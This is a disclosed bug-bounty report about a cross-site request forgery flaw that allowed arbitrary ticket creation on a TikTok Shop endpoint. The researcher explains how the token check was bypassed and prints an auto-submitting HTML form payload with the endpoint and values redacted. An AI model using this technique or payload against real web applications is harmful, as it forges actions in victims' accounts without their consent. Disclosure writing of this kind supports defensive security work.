CSRF in ticket function

Summary

A cross-site request forgery (CSRF) vulnerability was found on a TikTok Shop endpoint, which could have resulted in the arbitrary creation of tickets. We thank @ibrahim0936356 for reporting this to our team

Hi there!

I found this issue by removing the CsrfToken from the header and converting the content type from JSON to x-www-form-urlencoded. After multiple attempts, I was able to create the final payload:

<form method="POST" action="https://vulnerableEndpoint">
    
    <input type="hidden" name="category_id" value="X"/>
    <input type="hidden" name="title" value="Happy"/>
    <input type="hidden" name="componentContents" value='[{"id":"X","raw_value":"very happy"},{"id":"X","raw_value":"[{\"status\":\"done\",\"percent\":XXXX,\"uid\":\"XXXX\",\"originFile\":{},\"name\":\"XXXX\",\"response\":{\"file_id\":\"XXXXXX\",\"file_name\":\"XXXX\",\"file_type\":\"image/png\",\"file_src\":X,\"url\":\"XXXX\"}}]","plain_value":"[\"XXXXXX\"]"}]'/>
</form>
    <script>
        document.forms[0].submit();
    </script>

If you need more tips, feel free to follow me on X: Ibrahim AH